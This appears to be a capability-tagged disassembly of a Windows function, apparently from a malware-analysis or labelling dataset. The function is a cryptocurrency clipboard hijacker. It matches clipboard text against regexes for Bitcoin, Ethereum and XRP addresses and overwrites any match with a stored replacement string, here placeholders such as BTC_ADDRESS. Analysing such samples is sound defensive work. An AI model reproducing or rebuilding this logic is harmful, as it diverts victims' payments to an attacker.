Function at 0x14000145b
Capabilities:
Open clipboard
Read clipboard data
Write clipboard data

Disassembly:
push rbp
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x1e8
lea rbp, [rsp + 0x80]
lea rsi, [rbp + 0x30]
mov edi, 2
lea r8, str.BTC_ADDRESS
lea rax, str._bc1_13___a_zA_HJ_NP_Z0_9_25_62_
mov rdx, rax
mov rcx, rsi
call method.std::pair_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____.pair_char_const_____37___char_const_____12___true__char_const_____
lea rbx, [rsi + 0x40]
sub rdi, 1
lea r8, str.ETH_ADDRESS
lea rax, str.0x_a_fA_F0_9_40_
mov rdx, rax
mov rcx, rbx
call method.std::pair_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____.pair_char_const_____20___char_const_____12___true__char_const_____
lea rax, [rbx + 0x40]
sub rdi, 1
lea r8, str.XRP_ADDRESS
lea rdx, str.r_0_9a_zA_Z_24_34_
mov rcx, rax
call method.std::pair_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____.pair_char_const_____21___char_const_____12___true__char_const_____
mov edi, 2
lea rax, [rbp + 0x30]
mov r12, rax
mov r13d, 3
lea rax, [rbp + 0xfe]
mov qword [rbp + 0x128], rax
nop
nop
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], r13
lea r8, [rbp + 0xfc]
lea rdx, [rbp - 0x50]
lea rax, [rbp - 0x10]
lea rcx, [rbp + 0xfe]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0xfd]
mov qword [rsp + 0x20], rcx
mov r9, r8
mov r8d, 0
mov rcx, rax
call sym._ZNSt13unordered_mapINSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEES5_St4hashIS5_ESt8equal_toIS5_ESaISt4pairIKS5_S5_EEEC
lea rax, [rbp + 0xfe]
mov rcx, rax
call main
nop
lea rbx, [rbp + 0x30]
add rbx, 0xc0
lea rax, [rbp + 0x30]
cmp rbx, rax
je 0x140001567
sub rbx, 0x40
mov rcx, rbx
call method.std::pair_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____.pair__
jmp 0x140001550
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_OpenClipboard]
call rax
test eax, eax
setne al
test al, al
je 0x1400017ac
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_GetClipboardData]
call rax
mov qword [rbp + 0x158], rax
cmp qword [rbp + 0x158], 0
je 0x1400017a3
mov rax, qword [rbp + 0x158]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalLock]
call rax
mov qword [rbp + 0x150], rax
cmp qword [rbp + 0x150], 0
je 0x1400017a3
lea rax, [rbp + 0xff]
mov qword [rbp + 0x120], rax
nop
nop
lea rcx, [rbp + 0xff]
mov rdx, qword [rbp + 0x150]
lea rax, [rbp - 0x40]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0xff]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp - 0x10]
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x148]
mov rcx, rax
call sym._ZNSt13unordered_mapINSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEES5_St4hashIS5_ESt8equal_toIS5_ESaISt4pairIKS5_S5_EEE5
mov qword [rbp - 0x18], rax
mov rax, qword [rbp + 0x148]
mov rcx, rax
call sym._ZNSt13unordered_mapINSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEES5_St4hashIS5_ESt8equal_toIS5_ESaISt4pairIKS5_S5_EEE3
mov qword [rbp - 0x20], rax
jmp 0x140001769
lea rax, [rbp - 0x18]
mov rcx, rax
call method.std::__detail::_Node_iterator_std::pair_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______false__true_.operator___const
mov qword [rbp + 0x140], rax
mov rdx, qword [rbp + 0x140]
lea rax, [rbp + 0x100]
mov r8d, 0x10
mov rcx, rax
call sym._ZNSt7__cxx1111basic_regexIcNS_12regex_traitsIcEEEC1ISt11char_traitsIcESaIcEEERKNS_12basic_stringIcT_T0_EENSt15regex_constants
lea rdx, [rbp + 0x100]
lea rax, [rbp - 0x40]
mov r8d, 0
mov rcx, rax
call sym._ZSt11regex_matchISt11char_traitsIcESaIcEcNSt7__cxx1112regex_traitsIcEEEbRKNS3_12basic_stringIT1_T_T0_EERKNS3_11basic_regexIS7
mov ebx, eax
lea rax, [rbp + 0x100]
mov rcx, rax
call method.std::__cxx11::basic_regex_char__std::__cxx11::regex_traits_char___.basic_regex__
test bl, bl
je 0x14000175d
mov rax, qword [sym.imp.USER32.dll_EmptyClipboard]
call rax
mov rax, qword [rbp + 0x140]
add rax, 0x20
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.size___const
add rax, 1
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.KERNEL32.dll_GlobalAlloc]
call rax
mov qword [rbp + 0x138], rax
cmp qword [rbp + 0x138], 0
je 0x140001783
mov rax, qword [rbp + 0x138]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalLock]
call rax
mov qword [rbp + 0x130], rax
cmp qword [rbp + 0x130], 0
je 0x140001783
mov rax, qword [rbp + 0x140]
add rax, 0x20
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
mov rax, qword [rbp + 0x130]
mov rcx, rax
call sym.strcpy
mov rax, qword [rbp + 0x138]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call rax
mov rax, qword [rbp + 0x138]
mov rdx, rax
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_SetClipboardData]
call rax
jmp 0x140001783
lea rax, [rbp - 0x18]
mov rcx, rax
call method.std::__detail::_Node_iterator_std::pair_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______false__true_.operator__
lea rdx, [rbp - 0x20]
lea rax, [rbp - 0x18]
mov rcx, rax
call method.std::__detail.operator__std::__detail::_Node_iterator_base_std::pair_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______true__co
test al, al
jne 0x140001640
jmp 0x140001784
nop
mov rax, qword [rbp + 0x158]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call rax
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
call rax
lea rax, [rbp - 0x10]
mov rcx, rax
call sym._ZNSt13unordered_mapINSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEES5_St4hashIS5_ESt8equal_toIS5_ESaISt4pairIKS5_S5_EEED
jmp 0x140001880
add rsp, 0x1e8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop rbp
ret